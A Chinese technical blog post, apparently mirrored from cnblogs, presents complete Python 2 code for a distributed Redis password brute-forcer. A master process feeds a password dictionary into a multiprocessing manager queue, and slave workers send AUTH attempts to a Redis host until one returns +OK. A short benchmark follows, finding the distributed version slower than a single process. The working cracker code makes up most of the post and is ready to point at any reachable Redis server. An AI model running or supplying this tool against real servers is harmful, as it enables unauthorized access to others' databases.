zoukankan      html  css  js  c++  java
  • redis密码破解(Python使用multiprocessing分布式进程)

               前面redis密码破解都是在一台机器单进程运行的,于是想如果在多台机器分布式运行,速度会不会快点,用Python的multiprocessing模块的managers子模块写了个破解程序,代码如下:

              master端,代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-12-26 下午6:10
    # @Author  : Liping
    # @Site    : 
    # @File    : distributedRedisCrack.py
    # @Software: PyCharm
    
    import Queue,threading
    import sys
    from multiprocessing.managers import BaseManager
    
    redisPass="redisPass.txt"
    
    putQueue=Queue.Queue()
    resultQueue=Queue.Queue()
    
    class QueueManager(BaseManager):
        pass
    
    # BaseManager类里面的register方法为类方法,所以能不实例化直接用类名调用。
    QueueManager.register('get_task_queue', callable=lambda: putQueue)
    QueueManager.register('get_result_queue', callable=lambda: resultQueue)
    m=QueueManager(address=("",12345),authkey=b'123abc')
    m.start()
    task=m.get_task_queue()
    result=m.get_result_queue()
    
    def putDictPassword(passFile,taskQueue):
        with open(passFile,"r") as f:
            for i in f:
                taskQueue.put(i)
                # time.sleep(0.01)
    # 引入线程目的是为了将读文件放入队列异步执行,不需要将全部密码文本读入队列后在进入下一步,因为正确密码可能在密码文件中间,获取正确破解结果后程序可以退出。
    t = threading.Thread(target=putDictPassword,args=(redisPass,task))
    t.setDaemon(True)
    t.start()
    
    while True:
        try:
            r=result.get(timeout=30)
            if r[0]=="cracked":
                print "redis password have been cracked,the pass is: %s" %r[1]
                m.shutdown()
                sys.exit(0)
        except Queue.Empty:
            print "password not in the redisPass"
            break

      slave的worker代码如下:

    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    # @Time    : 18-12-29 下午8:15
    # @Site    : 
    # @File    : distributedRedisCrackSlave.py
    # @Software: PyCharm
    
    import Queue
    import sys,socket
    from multiprocessing.managers import BaseManager
    
    redisHost="192.168.36.3"
    redisPort=6379
    server_addr = '192.168.36.1'
    class QueueManager(BaseManager):
        pass
    
    QueueManager.register('get_task_queue')
    QueueManager.register('get_result_queue')
    m=QueueManager(address=(server_addr,12345),authkey=b'123abc')
    m.connect()
    task=m.get_task_queue()
    result=m.get_result_queue()
    
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((redisHost,redisPort))
    
    # while not task.empty():  #不能用此判断slave端进程退出,因为slave队列接收速度可能超过master发送端的发送速度,造成slave端队列只接收了部分数据就退出了。
    while True:
        try:
            key=task.get(timeout=20)
            print key
            s.send("auth %s 
    " % (key))
            authResult = s.recv(1024)
            if '+OK' in authResult:
                result.put(("cracked",key))
                s.close()
                sys.exit(0)
            else:
                result.put(("invalid password"))
        except Queue.Empty:
            print "no more key have get,quit"
            break
    

    测试速度如下:

    1. 生成100万数字,将正确密码写入密码文本最后一行。

    2   测试原来单进程模式,利用socket模块的破解时间,100万行密码文本,速度30s左右。

    3.分布式进程破解,利用2个slave端进程破解,速度如下:

    4.分布式进程破解,利用3个slave端进程破解,速度如下:

        如上图,3个slave破解进程,redis服务端有3个tcp连接。

    5.分布式进程破解,利用6个slave端进程破解,速度如下:

    综合上面测试结果,分布式进程模式下,速度还远不如单进程模式;增加slave端worker进程的情况下,速度没有提升,甚至还有下降,说明分布式进程模式下,瓶颈在master和slave端队列的发送接收的开销。单进程模式下,进程读取一行文本到内存立马会用此文本用socket模块验证;分布式进程模式下,master端进程读取文本放入队列,slave端进程读取队列文本在用socket模块验证,中间有大量的序列化反序列化,网络开销等。

  • 相关阅读:
    tomcat配置调优记录
    block,inline和inline-block概念和区别
    清除内外边距
    iddler抓包过程以及fiddler抓包手机添加代理后连不上网解决办法
    ator自动生成mybatis配置和类信息
    纯净版win7旗舰版
    Hibernate缓存机制
    JavaScript初学者应注意的七个细节(转)
    Oracle和Tomcat端口(8080)冲突的解决方法
    关系数据库设计基础--ER图(转)
  • 原文地址:https://www.cnblogs.com/360linux/p/13062069.html
Copyright © 2011-2022 走看看